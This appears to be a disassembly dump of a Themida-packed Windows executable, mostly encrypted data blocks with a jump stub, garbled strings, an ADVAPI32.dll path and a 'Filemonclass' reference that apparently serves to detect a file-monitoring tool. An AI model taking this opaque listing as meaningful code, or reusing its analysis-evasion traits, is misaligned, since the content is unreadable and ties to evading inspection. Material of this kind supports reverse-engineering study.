		dd 38601836h, 0D7F515E0h, 9C007C85h, 199DCBA6h,	5C17B71Eh
		dd 5C208004h, 402A69h, 92738123h, 0D1762615h, 88FDEC00h
		dd 38878391h, 456700F1h, 2F48EF51h, 718CEA0h, 2761DD32h
		dd 3807695h, 0C074AECFh, 0DBC1E57Ch, 3F7D00E6h,	0E8E90052h
		dd 0A2E03534h, 22006E6Fh, 1768139Ch, 331F9F6h, 54FF9A28h
		dd 99001980h, 0B978C0Dh, 156377h, 5EC7938Dh, 86355468h
		dd 0CFD57A0Bh, 81489A26h, 2C980168h, 7A898C40h,	0C0BB0037h
		dd 93263F48h, 6F7B58ECh, 8B0B14B0h, 107F4BE7h, 750D59E4h
		dd 0E1983A9Bh, 15D93083h, 0E100DE32h, 7E589E14h, 1FBAA81h
		dd 0F40847C2h, 0EEB7A655h, 5EF4AC44h, 7DA6B899h, 110F303Fh
		dd 0EEE6DC37h, 0F1F20949h, 0E003DF5Dh, 15A0CDE3h, 0B03C611Ch
		dd 0DC240016h, 56EA8ACCh, 0B8E70043h, 458EF9FFh, 337BB31Ch
		dd 0BCAF6800h, 0FD19062Bh
		dd 0CF7D03DBh, 987F022Ch, 4688F8ABh, 2B008754h,	0BEF64396h
		dd 15676ADh, 0D6C724A1h, 0FF5361C3h, 5FF087B8h,	0D5283E6Bh
		dd 0F54E9C03h, 0CE00107Bh, 0CC9A53C6h, 0E6CF9A2h, 2215FAB7h
		dd 14D6AB00h, 836359B9h, 98893E60h, 1B3AC39h, 526A36B1h
		dd 0D8C8C07Ch, 1B06E02Ah, 0B050DDA3h, 692E0380h, 0C1118A8Fh
		dd 6683A801h, 0DBE5FD1Eh, 7EEF63F8h, 7D3DF869h,	0BD381994h
		dd 0E8B1C9FAh, 0E83F57E2h, 310E80DCh, 0FDD3F25Ch, 0B79B1230h
		dd 58310BC0h, 98C0BF78h, 7381A96h, 69FD4C84h, 0F1E5360Ch
		dd 5A00B2F1h, 0A6DA6E85h, 2812F8h, 60839E6h, 901D6157h
		dd 52B1D218h, 0C7B349h,	0C5804F14h, 0D8C17942h,	6AA97D03h
		dd 0EDF90F71h, 0FBAC9C46h, 860E0061h, 0C6D03925h, 3B00CD0Dh
		dd 6A7523B6h, 60FE87ECh, 57FB29FAh, 841468ACh, 70987E02h
		dd 8C856F3Eh, 807D5B59h, 0C7171D13h, 0DBD4802Fh, 0A16C0B5h
		dd 2EDEAA07h, 0C95A31h,	0CAD70FCBh, 0CC465256h,	200413Bh
		dd 0ADA7BDF2h, 77008FAEh, 10CE54F5h, 301B756h, 0B15841B5h
		dd 16C9736Ah, 7B804315h, 0F747880Fh, 0BC91805Eh, 6DCE428h
		dd 5958CC03h, 5400617Ch, 0C10AA5B9h, 0D52C94h, 1DDC4B7Ah
		dd 587588F3h, 731E2F03h, 0C0F1A263h, 60E5B73Bh,	8E9DF905h
		dd 32C01548h, 0BE016EF9h, 0AF660EC6h, 78588BF2h, 0FA0027B0h
		dd 0EAA87A63h, 8078B1F8h, 0AA7B2196h, 0C7722F00h, 75402DD1h
		dd 0B7940304h, 3CEA9EC1h, 52F725C0h, 2011DE24h,	47B12286h
		dd 48130241h, 0A814866Fh, 6B7F1460h, 93180207h,	184F0E44h
		dd 7C2B5229h, 8C805050h, 5CE53094h, 0A746E0C1h,	84E91C03h
		dd 0F0556FAEh, 9058528Fh, 4C701E0h, 0B4FB891h, 2AC3C3BDh
		dd 26E4F9D0h, 0B5A8EC5Fh, 0FD242903h, 0AC91E1A0h, 7A598007h
		dd 9DEB90F8h, 0D61400AFh, 1DBF852Bh, 5A495972h,	0F3BE0108h
		dd 0C0D074DEh, 32F7F8h,	483DE3C1h, 2CAFB628h, 0E4876F02h
		dd 40626D03h, 88ED0BF4h, 88A8E5BEh, 490066CDh, 14F7E081h
		dd 7616E78h, 8E917076h,	8380D1DCh, 9FF89916h, 72DC36B0h
		dd 44B09026h, 0DD30528Ch, 47575110h, 3CE03154h,	0C88F9111h
		dd 761816DDh, 4D8114E6h, 69E024A3h, 44FC0C91h, 2EF42949h
		dd 75F82C02h, 44ABE26Bh, 0A58207D4h, 7E3CBDAh, 22AD10AEh
		dd 61268B0h, 444F6DB2h,	3BC8E7F9h, 0F5608E0h, 5CE0A411h
		dd 1C536C29h, 0BC48AC00h, 0CD2BCF2Ah, 927C72FAh, 621AFF00h
		dd 60D2C4Eh, 16D1247Fh,	0A7B10440h, 9C7C80CCh, 32F1988Eh
		dd 0E8C91C2Ch, 64F50AC7h, 2A6C8259h, 0EE1430Eh,	0B2C1C521h
		dd 14001A69h, 0D44AF07h, 73641E00h, 0CBC798B3h,	2A1B00B0h
		dd 85D8238h, 3063462h, 8546AE76h, 988900D9h, 25D19D60h
		dd 0ED0B8B58h, 87E6E5FAh, 8CC32271h, 0D4C3E008h, 0B2065C95h
		dd 7B008842h, 0FACB3414h, 0F0063237h, 70461E89h, 312F0021h
		dd 5CBCBD30h, 940044DAh, 732CECA2h, 0F830BDCh, 228847E5h
		dd 3FE0532Eh, 0AA2B39D4h, 75E0D06h, 1498459h, 350304B2h
		dd 48E7AEB5h, 0E6589EFCh, 248B0089h, 87E07AB6h,	58D718BAh
		dd 0A7D93969h, 6B002979h, 0A962C953h, 196C5F2h,	9CEA34B6h
		dd 24CAE4F4h, 0E5001000h, 9F60CBC9h, 2A9057h, 0D275A328h
		dd 42CC9BDFh, 2B722100h, 0BC7FB338h, 48177D10h,	39392830h
		dd 0B194A085h, 2ECC5C51h, 82123D5Ah, 4D4E0059h,	0E87E63EBh
		dd 6EA60618h, 7CAF36A1h, 0B556051Ah, 919C045h, 20982984h
		dd 0C800590Ah, 0E6AEF23h, 0E233D6DDh, 0C5C37987h, 5FE4BDB9h
		dd 22B9C188h, 0D8DA2F76h, 0C509BCA8h, 0A07AD8CCh, 4D1E36F8h
		dd 6D8F3406h, 680C9081h, 80B10DA4h, 0F8905980h,	678226h
		dd 6BAAA251h, 892F6012h, 7A3E7D71h, 0B45704FAh,	0E8C17C03h
		dd 68201E37h, 0DB60F8Ch, 7500B96Fh, 9DC71F4Ah, 6E032900h
		dd 0C487AF84h, 395CA1F5h, 0A1F16510h, 0BEC5B00h, 0BEDC6766h
		dd 3F447A6Bh, 0C3309516h, 0D9337C0h, 9006641Fh,	0D5F880E2h
		dd 8F163EBBh, 0E0A0C8AAh, 1776C0F9h, 0A6FB45FDh, 0D3316A60h
		dd 44F9ACBh, 0FDFAF5Fh,	67E09807h, 8F88726h, 92B8FB42h
		dd 0A46294h, 0C369745Ch, 0B4614C8Fh, 8CE3AB0Bh,	8519E018h
		dd 53725100h, 7E7056F5h, 714B00E1h, 0D70ECB38h,	790878BCh
		dd 8FEFACF9h, 23E13CF0h, 0C4665A3Fh, 130FFD98h,	617174FCh
		dd 8E49A4D4h, 0F2CE3040h, 0D5E2004Eh, 0B4C1EA11h, 0A1359E0h
		dd 98081EB7h, 58158D44h, 804E0h, 21C691D4h, 986059D0h
		dd 50E657D9h, 0C9510087h, 0BC1DFF1Fh, 0CCA80DE7h, 672C129Fh
		dd 0A5008316h, 20CB66DFh, 82931DBAh, 3DF980BEh,	326CF073h
		dd 0CE15E2B8h, 944D8Eh,	0E2346C2h, 47F363h, 0B8527BC7h
		dd 5AFAF78Dh, 0E8368812h, 0B6BF3820h, 703500AAh, 9FFF10CAh
		dd 0FB1F3471h, 7EA3E6h,	41AE5CD5h, 0E203C9h, 9B4A4CE0h
		dd 8287BA8Ch, 0CB1278B2h, 680F389Fh, 0FCB0402Fh, 2C23EBD5h
		dd 7FCC834h, 433B8BBFh,	14908185h, 6800748Ah, 0D38E40A9h
		dd 2AB33D3Ch, 1F8C8759h, 0C9B4F726h, 8A8054FAh,	0DED7526Dh
		dd 1797BB12h, 1E84889h,	0A2FC006Eh, 98B46C26h, 911729F7h
		dd 5200A1ACh, 0C59FFD2Dh, 0EF55F6BDh, 0F61E031h, 4D9DA88Eh
		dd 410E5C9h, 2E125CEDh,	190093D9h, 7AACFFDBh, 45171D0Ah
		dd 5DC6006Fh, 36767866h, 8352E502h, 0A040B121h,	1FEF45B8h
		dd 867B1D6Bh, 5A1167Dh,	805B4970h, 6883CAD1h, 5310BF09h
		dd 4D84494h, 0BC068CC5h, 9EA88C70h, 7D020F12h, 64E81C22h
		dd 4DEC0030h, 5999737Bh, 1C01E5BAh, 0A3DC48CDh,	0A7F65336h
		dd 81F9A02Ch, 0AE1DB308h, 58CABCE0h, 0AB017456h, 638272C3h
		dd 3422BDh, 0DD7D69B0h,	0EDB4401h, 3E118D26h, 0C01CB565h
		dd 70C7E0AEh, 2A0E848h,	191672CAh, 9C4CA775h, 514C2A00h
		dd 509548EFh, 1D24B501h, 80458E59h, 35B91FC9h, 0E499ABEBh
		dd 586707C2h, 0D566877Fh, 53C803F1h, 899A5007h,	0BCB8F620h
		dd 111360ABh, 4286956Ch, 306E8530h, 0B20D239Fh,	0B9AF00E0h
		dd 70A8DC81h, 7740EECh,	0D556388h, 8E519B1h, 62C2E449h
		dd 169E43Ch, 0CEFCA204h, 0D429FD87h, 1F7D7600h,	294F621Ch
		dd 69730E01h, 0B44B5E78h, 7ED77885h, 0C8284EEFh, 28491F00h
		dd 0CB304ABCh, 0DFB2880Fh, 42B898A0h, 5CE522F0h, 6E006415h
		dd 2B5AEA01h, 13160C3Fh, 0A41DB62Fh, 46B1FFC6h,	95C53EC1h
		dd 6FD3EA00h, 1F12A4D7h, 8EB89100h, 52864817h, 874E162Bh
		dd 1A482C0Ah, 220279F0h, 6503C440h, 8C37603Fh, 0C5872505h
		dd 82B74C98h, 0D9C99200h, 0D7C74D5Eh, 9D3D58C1h, 95FC4C55h
		dd 939F67Fh, 0A9C3F7A5h, 9801FE0Bh, 80E1E874h, 63A4EC71h
		dd 7D3AD19h, 0A627F0Ch,	28561058h, 30C24009h, 6459A376h
		dd 0DDD300ECh, 1542D60Bh, 49C026BDh, 6F1354CBh,	0B2853556h
		dd 0DC700470h, 39B0502Ah, 0B2C4CBFh, 22B26Fh, 16172B3Ch
		dd 20694BE3h, 80EBB45Ch, 7FD84E00h, 908375D3h, 211402FAh
		dd 5E65FB8Bh, 2DB1B449h, 4C740FECh, 0BB059D40h,	0F500C199h
		dd 0C48C64ECh, 18151C50h, 60FDBA1Dh, 0A49C8055h, 56E816BDh
		dd 66CBDA1Bh, 0AE6EE0E8h, 0C7872430h, 1754060h,	0F506C10Dh
		dd 5EE54608h, 0BFEE0319h, 2D11CE78h, 0DF5868F8h, 0B09B0301h
		dd 90B87B4h, 56742981h,	80AE2C8Fh, 2EF59560h, 8807E508h
		dd 50004593h, 8424046Ch, 98617CA1h, 0A03102CCh,	0EBDC1B3h
		dd 3EEDA0A0h, 3A009B39h
		dd 0C036C598h, 7D708Ah,	37EE910Ch, 0BB2E545Eh, 0BD16C900h
		dd 0B524A111h, 89E0CA5h, 767106ACh, 9FBC6F4Eh, 7456D30Eh
		dd 0DF209A6Fh, 150D2A18h, 3286203h, 127E893h, 0A4E27A79h
		dd 30A64F5Bh, 0F91C14A0h, 81C90BE4h, 0EAB4033Eh, 0C068A205h
		dd 2C750D4h, 0F26B3A8h,	0F44079BFh, 844E6994h, 33E75006h
		dd 0CE8F0359h, 3B4F7E15h, 1EEBE8C0h, 482E0890h,	0D0127BEh
		dd 0F7B5430h, 8EB73189h, 4C5CF048h, 2F451800h, 17010958h
		dd 89AD3B36h, 8846B592h, 71006764h, 0C4914882h,	52CFEBh
		dd 78ED61D1h, 0AC95BF59h, 91F044h, 4FF82DD9h, 1872E16Fh
		dd 21B91000h, 6CDEB01Ch, 0EA0F2EFEh, 0AD6C4F0Ch, 0E8226DD0h
		dd 8CD40038h, 79C04712h, 8B13626Fh, 0D301BB7Dh,	0FEBE2E0Dh
		dd 0F383E03Ch, 0DBF8C2BFh, 45EA9110h, 48FCD1E8h, 0ECE0C40Bh
		dd 9050891Ah, 6C2D30h, 0B92E3C55h, 1C22A347h, 3FC2A500h
		dd 0F6A7DBB8h, 5C575C49h, 0AC614D32h, 6600C8E4h, 0FC1921F2h
		dd 506F52A1h, 92B3D308h, 89BF5048h, 664262Ch, 0E41D1428h
		dd 0DC977414h, 0FBC3D804h, 0A3CC8846h, 0ECF34503h, 0BF2C516Bh
		dd 96868E65h, 91550302h, 5F5CE01Ch, 0B1AD8C00h,	6A372A08h
		dd 0B7B502A0h, 0E8066966h, 4600A864h, 0DDA7DA8h, 90EA57Fh
		dd 0A0F2EB04h, 6F0090E4h, 58C2F989h, 0CAB96597h, 608CD298h
		dd 0A5F5ED35h, 52005AECh, 8778B973h, 28A1EC0h, 0A417D6E6h
		dd 0E86129ADh, 41B01209h, 0E880164Eh, 6BDFEBD0h, 8F0281C0h
		dd 0DBC43633h, 4E90E027h, 0E2F901B0h, 31720FD3h, 4422BEh
		dd 6AED2A7Ah, 14F8B1Fh,	0ABD7913h, 3C65DA5Ch, 0A65380A0h
		dd 8045B4h, 0F08F766Ah,	0EBEEFE20h, 94040300h, 0FD08CE4Bh
		dd 1C9803D6h, 84467F1Bh, 2205D974h, 1E8DE69Bh, 0E20218A3h
		dd 6105A9FEh, 6A668560h, 0B67BB804h, 448C9F49h,	0EBAA0E58h
		dd 21E9937h, 538ECEEFh,	7B005C44h, 446B9078h, 215C7A9h
		dd 0C56AEF59h, 94C0EA68h, 292C5AC0h, 8C601064h,	0BEE6B1h
		dd 0FC1826CCh, 0BD6483E9h, 0B7EAFD02h, 5A8EBB7Eh, 0CD7B00BCh
		dd 0B44F816h, 680060ECh, 1546C0CCh, 1C18B657h, 534E0E6h
		dd 0B084B917h, 0B8A0DE38h, 9B26BE2Dh, 6E80D070h, 7C368E51h
		dd 9A7F0740h, 80DB5D42h, 39DF78BCh, 0BE073212h,	5480426h
		dd 987B0CBh, 0AA9088E2h, 0BE66D896h, 62889C9Ch,	7C48EA6Ch
		dd 8B32BB61h, 794988B1h, 647701E4h, 0D0A71EEEh,	0A00440Eh
		dd 185E4ACAh, 0C4596A1h, 734EC28h, 3313D560h, 8C90E64Ch
		dd 5D0670h, 27DE530Fh, 78C6F52Ah, 0D8D0700h, 348FD560h
		dd 99E8E21Bh, 0CA16F0h,	2FA9E355h, 5601F0F5h, 831FE580h
		dd 0DCDDD7BEh, 52D1DACCh, 0FFFF01CCh, 60FBh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_58248B:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_585A20
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 3 dup(0)
		dd offset a2vsr3vsr	; "2vsR3vsR"
		dd 4 dup(0)
		dd 7C85A034h, 0A280105h, 7CC8EBB7h, 5 dup(0)
		dd 102E9FACh, 7	dup(0)
		dd 0B61C1Ch, 0
		dd 0FD1F9FD0h, 0
		dd offset unk_513000
		dd 2 dup(0)
aInef		db 'INe”',0
		align 4
		dd offset dword_57F994+68Fh
		dd 0
aFir		db '”λ|',0
		align 4
		dd 678h, 94h, 2	dup(0)
dword_582534	dd 12E8h, 0						; Themida_:005848A8o ...
		dd 0BB3867h, 10h dup(0)
		dd 2490h, 4 dup(0)
		dd offset dword_584E70
		dd 0
		dd 25C6F10h, 4 dup(0)
		dd offset byte_5DAFF5
		dd 0F547EB7Ch, 6 dup(0)
		dd 836F146Ch, 0Dh dup(0)
		dd 23F6A4EEh, 0
		dd 7FDFFB95h, 2	dup(0)
		dd offset dword_5F3698
		dd 0
		dd offset byte_5C139B
		dd 7C800000h, 0
		dd offset word_5BFAD6
		dd 9 dup(0)
		dd 0C10000h, 0Ah dup(0)
aGxW		db 'ƒxέw',0
		align 4
		dd 3 dup(0)
		dd offset byte_60C639
		dd 7 dup(0)
		dd 32597F5Dh, 0
aE_0		db 'Θeœ',9,0
		align 10h
		dd offset byte_5B4B69
		dd 2 dup(0)
		dd offset byte_5D35A7
		dd 0Ah dup(0)
		dd 0B41CF7h, 2 dup(0)
		dd 0FFA7B9FCh, 0
		dd 71681151h, 0
		dd 0C8h, 6 dup(0)
		dd 0FB9B3820h, 7 dup(0)
		dd 88h,	1Bh dup(0)
		dd 0B14681h, 0
		dd 0BB3867h, 9 dup(0)
		dd offset dword_5C09BC
		dd 4 dup(0)
		dd 7C90EB94h, 1, 6 dup(0)
		dd offset byte_5C4753
		dd 6 dup(0)
		dd 0FBD96FA6h, 9 dup(0)
		dd 73ED49FFh, 0
		dd 0BB3867h, 4B69h, 0
		dd 3950395h, 5 dup(0)
		dd 2Dh,	2 dup(0)
aFir_0		db '”λ|',0
		align 10h
aA_0:
		unicode	0, < >,0
		align 8
		dd 12FE80h, 3 dup(0)
		dd 0B48B32h, 0
aFir_1		db '”λ|',0
		align 4
aXir		db '•λ|',0
		align 10h
		dd 2 dup(0)
		dd offset dword_582534+4
		dd 90h,	15h dup(0)
		dd 7C90EE18h, 0
		dd offset dword_57F994+68Fh
		dd 7 dup(0)
aFir_2		db '”λ|',0
		align 10h
		dd 836F146Ch, 232FFB0h,	582538h, 0
		dd offset dword_5C0000
		dd 7 dup(0)
		dd offset byte_5C2407
		dd offset byte_5BA363
		dd 725CFBFEh, 5	dup(0)
		dd 710BCFFDh, 3	dup(0)
		dd 0FF9E6B63h, 0
		dd offset byte_5C0BC3
		align 10h
a6666		db '6666',0
		align 4
		dd 0Eh dup(0)
		dd 0B1180Fh, 4 dup(0)
		dd 1D65732Dh, 6	dup(0)
aJG		db '»†|ƒ',0
		align 4
		dd 3 dup(0)
		dd 0B1180Fh, 0Eh dup(0)
		dd 0A0h, 7C90EB94h, 3D94h, 2 dup(0)
		dd 12FFC4h, 0E8h, 2 dup(0)
		dd offset dword_583210
		dd 9 dup(0)
		dd 7F1ACA3Dh, 2	dup(0)
		dd 0DF55DD8h, 4	dup(0)
aEcUl		db 'e–',0Bh,'žl',0
		align 4
		dd 0A9C530DFh, 52Ah, 4 dup(0)
		dd 0FFC00000h, 3 dup(0)
		dd offset dword_5DCBE8
		dd 6 dup(0)
		dd 17944h, 0FFA30FF8h, 0F87FF48Bh, 0
		dd 370FE953h, 2	dup(0)
		dd 12FF22h, 7 dup(0)
		dd 148E9h, 8 dup(0)
		dd 0FFFFFF05h, 17h dup(0)
		dd 7EBBFFFCh, 2	dup(0)
		dd offset byte_5DB495
		dd 0
		dd offset byte_5B4B69
		dd 3 dup(0)
		dd 0FFFFh, 0DF568CFh, 2Ah dup(0)
		dd offset byte_5DEE0F
		dd 6 dup(0)
		dd offset byte_612D59
aFkr		db '”k|',0
		align 4
		dd 9 dup(0)
		dd offset dword_60C7CC
		dd 0Bh dup(0)
aFir_3		db '”λ|',0
		align 10h
		dd 0
		dd 0FFA07B82h, 0B11A44h, 0
		dd 1AE9h, 74h, 0F1B3BF49h, 2 dup(0)
		dd offset byte_401000
		dd 0
		dd offset byte_5B63BD
		dd 2 dup(0)
		dd 0FFA4052Ah, 5 dup(0)
		dd 0B73F0Fh, 0
		dd offset dword_5F4958
		align 10h
		dd 71681151h, 12FF54h, 0
aGiaKutv	db 'G›€|ͺžβv',0
		align 4
		dd 3 dup(0)
		dd offset dword_5C1D50
		dd 6 dup(0)
		dd 2, 13h dup(0)
		dd 0FBh, 5E4D75h, 2 dup(0)
aInef_0		db 'INe”',0
		align 4
		dd 3 dup(0)
		dd offset aFilemonclass	; "Filemonclass"
		dd 6 dup(0)
aGzag		db 'ƒ‡Ag',0
		align 10h
a333333333333	db '333333333333',0
		align 10h
		dd offset dword_584E70
		dd 68h,	0
		dd 0B70213h, 26152FA0h,	8 dup(0)
		dd offset byte_5DDECB
		dd 3 dup(0)
aDF		db 'DΪFΒ',0
		align 10h
		dd 0B1FA37h, 0
		dd offset byte_5C53C9
		dd 2 dup(0)
		dd 12FFA4h, 0
		dd offset byte_5D1EDD
		dd 3 dup(0)
aFir_4		db '”λ|',0
		align 4
		dd 5 dup(0)
		dd 84h,	60B097h, 0Ah dup(0)
		dd 79F002E7h, 3	dup(0)
		dd 7C80180Eh, 2	dup(0)
		dd 0CEh, 0FFFFFF20h, 0Ah dup(0)
		dd 341EF0FBh, 5	dup(0)
		dd offset word_5B9732
		dd 6 dup(0)
		dd 12FEF0h, 0
dword_583030	dd 627A9B9Bh, 0FFA7DAC8h, 62h dup(0)					; Themida_:00584340o
		dd 5643h, 9A490501h, 3 dup(0)
		dd 836E6515h, 0Dh dup(0)
		dd offset byte_5DEE0F
dword_583210	dd 484h, 4CB57A79h, 0					; Themida_:00583A7Co ...
		dd 0FFA3DC1Ah, 4 dup(0)
		dd 0D791D07Fh, 1E6EC5C6h, 0E1DE586h, 2 dup(0)
		dd 491EF6F6h, 2	dup(0)
aC		db '–š',7,'`',0
		align 4
		dd 5 dup(0)
		dd 77DD0000h, 5F4B12h, 5 dup(0)
		dd offset byte_5EB785
		dd 5 dup(0)
		dd 0A4h, 3 dup(0)
		dd offset byte_5C09F9
		align 8
		dd 1, 0BE366EB9h, 0
		dd 26C0000h, 7CDCDD81h,	0B11842h, 2 dup(0)
		dd 12FFA4h, 2 dup(0)
aPb?		db 'PbΥ?',0
		align 4
		dd offset word_5F59CE
		dd 2 dup(0)
		dd 0B3FCADh, 0Ah dup(0)
		dd 23F6A4EEh, 0
		dd 0F874248Ah, 9 dup(0)
		dd offset byte_5CB1B3
		dd 7 dup(0)
a0I		db 'ί0Ε©',0
		align 4
		dd offset word_5CAEC2
		dd 7 dup(0)
		dd 7C91056Dh, 0
		dd offset dword_5833B4
		dd 0
		dd 0FFFF7CAFh, 0
dword_5833B4	dd 0				dd 0BB3867h, 7C90EB94h,	5 dup(0)
		dd offset byte_5FD3D9
		dd 0B1180Fh, 6 dup(0)
aFir_5		db '”λ|',0
		align 4
		dd 4 dup(0)
		dd 7E41A8ADh, 7FB4FFD5h, 0B9h dup(0)
		dd 0B61C1Ch, 12FFF0h, 3	dup(0)
aB_0		db 'Ϊ́|',0
		align 4
		dd 0Fh dup(0)
		dd 7C8111DAh, 2	dup(0)
		dd 370h, 2 dup(0)
		dd 0E23DFDB1h, 29h dup(0)
		dd offset word_5C9EE6
		dd 2 dup(0)
		dd 0B18D20h, 0
		dd 1F39CF3Fh, 60D18Dh, 3 dup(0)
		dd 7C814AF2h, 5DA542h, 0
		dd 0B0E9h, 0B1AEA1h, 4 dup(0)
aNiy		db 'n›y<',0
		align 4
		dd 2 dup(0)
		dd 0FFAE1ED5h, 0
		dd 76BC155Dh, 1F9607BDh, 5 dup(0)
		dd 0B10A25h, 3 dup(0)
		dd offset byte_5DF501
		dd 2 dup(0)
		dd 0B11A38h, 0
		dd 0FFFF997Ch, 0
		dd 0FFFE87A8h, 0Ah dup(0)
		dd offset word_5DA21A
		dd 3 dup(0)
		dd offset dword_5C1D50
		dd 5 dup(0)
		dd offset word_5E2176
		align 8
aA_1		db 'Σ>€|',0
		align 10h
		dd 0
		dd 253002Ch, 2 dup(0)
		dd 73ED3B0Fh, 6	dup(0)
		dd 0B1A8CFh, 9 dup(0)
		dd offset dword_5E16C0
		dd 0
aM_1		db 'Mœάά',0
		align 8
		dd 0FF44C799h, 0
		dd 0A9C530DFh, 76F21510h, 2 dup(0)
		dd offset dword_57F994+68Fh
		dd 4 dup(0)
		dd 4001D0h, 9 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 7E4505FCh, 0
a7uW		db '7ξέw',0
		align 4
		dd 47927FFFh, 7C80B4CFh, 725CFBFEh, 2 dup(0)
		dd 7Ch,	3 dup(0)
		dd 1, 4	dup(0)
		dd offset byte_5EBF85
		dd 9 dup(0)
aLa		db 'ή«€|',0
		align 10h
		dd 2 dup(0)
		dd 400000h, 4 dup(0)
		dd offset dword_583210
		dd 3 dup(0)
		dd offset aA_2		; "`aΒ\b"
		dd 0
		dd 836F146Ch, 0Dh dup(0)
aRE		db 'ΰ,E"',0
		align 8
		dd 0FFFFFFFFh, 3 dup(0)
aA_3		db '°,€|%$[',0
aBC		db 'Ϊ́|ζ#\',0
		dd offset byte_5F4BFF
		align 10h
		dd 2644h, 0
		dd 3C7BD69h, 7 dup(0)
		dd offset dword_583030+8
		dd 7 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\system32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd 3F64h, 5 dup(0)
		dd offset word_5B970A
		dd offset word_5DCB06
		dd 3 dup(0)
		dd 0FFFFFFFEh, 1, 5 dup(0)
		dd offset byte_5F4763
		dd 70h,	2 dup(0)
		dd 0FBh, 144BA8h, 0
		dd offset dword_5C8B28
		align 10h
		dd 0FBD96FA6h, 0
		dd 0FFFC7773h, 4 dup(0)
aFir_6		db '”λ|',0
		align 8
		dd offset byte_5CCDE5
		align 10h
		dd 0BB3848h, 5BEB6Ch, 3	dup(0)
		dd 1B2FFB0h, 0
		dd 44B9339h, 0Ah dup(0)
		dd offset byte_586853
		dd 4F33790Dh, 0FFA43473h, 7C863F58h, 2 dup(0)
		dd offset dword_5B5FD0
		align 10h
		dd 76F21290h, 0FFFF9E1Ch, 0
		dd 224C6AFCh, 0
		dd offset byte_5FF861
		dd 0
aFir_7		db '”λ|',0
		align 4
		dd 7 dup(0)
		dd 836F146Ch, 0
		dd 0FFFF4541h, 2 dup(0)
		dd 88D76917h, 7C90EB94h, 5 dup(0)
aFir_8		db '”λ|',0
		align 4
		dd 6 dup(0)
		dd offset byte_5C3957
		dd 2 dup(0)
		dd 0B18E51h, 3 dup(0)
		dd 75ADF725h, 3	dup(0)
		dd 11688F6h, 0B1FA03h, 5 dup(0)
aFir_9		db '”λ|',0
		align 10h
		dd offset dword_5C1D10
		dd 5 dup(0)
		dd 0FFFFFFFEh, 7Ch, 0
		dd 0FFFFEB94h, 5B9497h,	0B1180Fh, 7 dup(0)
		dd 112000h, 0Ah	dup(0)
		dd 12FE80h, 0
		dd offset dword_5B00C0
		dd 2 dup(0)
aFir_10		db '”λ|',0
		align 8
aFir_11		db '”λ|',0
		align 10h
		dd 0
aRr		db 'Ψ³',0
		align 4
		dd 9 dup(0)
		dd offset byte_5C2BA5
		dd 6 dup(0)
		dd 0FDEBFF2Eh, 4 dup(0)
aGB		db '£Ύ"b',0
		align 10h
aFxs		db 1Bh,'Fxs',0
		align 10h
		dd 7C90D4F6h, 2	dup(0)
		dd 4F000h, 0
		dd 29h,	3 dup(0)
		dd 0B137ECh, 5 dup(0)
		dd 0B71E69h, 582538h, 76B178BFh, 5E8724h, 3 dup(0)
		dd 1E0A8C0h, 3 dup(0)
aSz		db '™§°',9,0
		align 10h
		dd 0
		dd 0B812B624h, 4 dup(0)
		dd 26E0000h, 4 dup(0)
		dd offset dword_60D748
		dd 2 dup(0)
		dd offset byte_5C0023
aAna		db ' ­€|',0
		align 10h
		dd 115014h, 5 dup(0)
		dd 7C80003Eh, 0
		dd 12FF54h, 6 dup(0)
		dd 0A28C6098h, 7C801D77h, 2 dup(0)
		dd offset dword_583210
		dd 0
		dd 26D0000h, 9 dup(0)
		dd 0BB3867h, 7 dup(0)
		dd 127B268h, 0
		dd 0FFA399DCh, 2 dup(0)
		dd 0A9C50000h, 0
		dd 7C801A24h, 0
		dd 217000h, 5FC39Bh, 0
aFir_12		db '”λ|',0
		align 4
		db '"""""""">',0
aA_4		db '€|',0
		align 8
		dd 73ED3B0Fh, 0
		dd offset aNndcJ	; "Dcκ\aj"
		dd 5 dup(0)
		dd 2940000h, 5 dup(0)
		dd 0FFFFFAD6h, 5F45EDh,	2 dup(0)
		dd 12FE80h, 0
		dd 0DC4B038Dh, 5 dup(0)
		dd 4, 0
aFir_13		db '”λ|',0
		align 10h
		dd 2 dup(0)
		dd 111F148h, 9 dup(0)
		dd 5EC71947h, 4	dup(0)
aAmgp		db 'M£p',0
		align 4
		dd 836F146Ch, 0
		dd 8Ch,	7C90EB94h, 0B18B28h, 2 dup(0)
		dd 98h,	0
		dd offset word_5B975A
		align 10h
aGaj		db '£€¦Ν',0
		db ' ',0
		align 4
		dd 3 dup(0)
		dd 0A60000h, 0
aBUz		db '‘,U§',0
		align 4
		dd 10h dup(0)
		dd 0FFFF997Ch, 0
		dd 7E410000h, 0Bh dup(0)
		dd 7C801A24h, 80h, 60C1BEh, 0
		dd 1, 5	dup(0)
		dd offset byte_586067
		dd 0DC8C0000h, 3 dup(0)
		dd offset dword_60D748
		dd 4 dup(0)
		dd 0FAB5C3C4h, 5BFAD6h,	0
a0I_0		db 'ί0Ε©',0
		align 10h
		dd 0
		dd 0B731E5h, 2 dup(0)
		dd 0FE8F0BE8h, 0
		dd 90h,	2 dup(0)
		dd offset byte_5C0BC3
		dd 0
		dd 0E6B3B016h, 4 dup(0)
		dd offset dword_583030+9
		dd 2 dup(0)
		dd 48E9h, 5E959A79h, 0
aNjsr		db '†™ΰ',0
		align 10h
		dd 9 dup(0)
		dd 0FFFF9A58h, 5 dup(0)
		dd 0FFA7DAC8h, 0
		dd 7C801A24h, 0
aMA		db '¬,€|',0
		align 4
		dd offset byte_5BEE4F
		align 10h
		dd 0B18EE4h, 1FE8h, 3 dup(0)
		dd 32597F5Dh, 11h dup(0)
		dd offset dword_5BFAE8
		dd 2 dup(0)
		dd 0FFFF9DB0h, 0Ch dup(0)
		dd 0A9C530DFh, 0B10E24h, 0
		dd 224C6AFCh, 5	dup(0)
aBAC		db 'B',0Bh,'€|ΜC]',0
		dd 0
		dd 1, 0EAA09E08h, 3 dup(0)
		dd 1, 0
a_b5qcv		db '_5qη‚\',0
		dd offset byte_5BA363
		dd 4 dup(0)
		dd offset byte_5FCE0B
		dd offset byte_5DD9AB
		align 10h
		dd 0B1180Fh, 14h dup(0)
		dd 0FFFFFFFFh, 0FFA0B261h, 5 dup(0)
		dd 7C90EB94h, 19h, 4 dup(0)
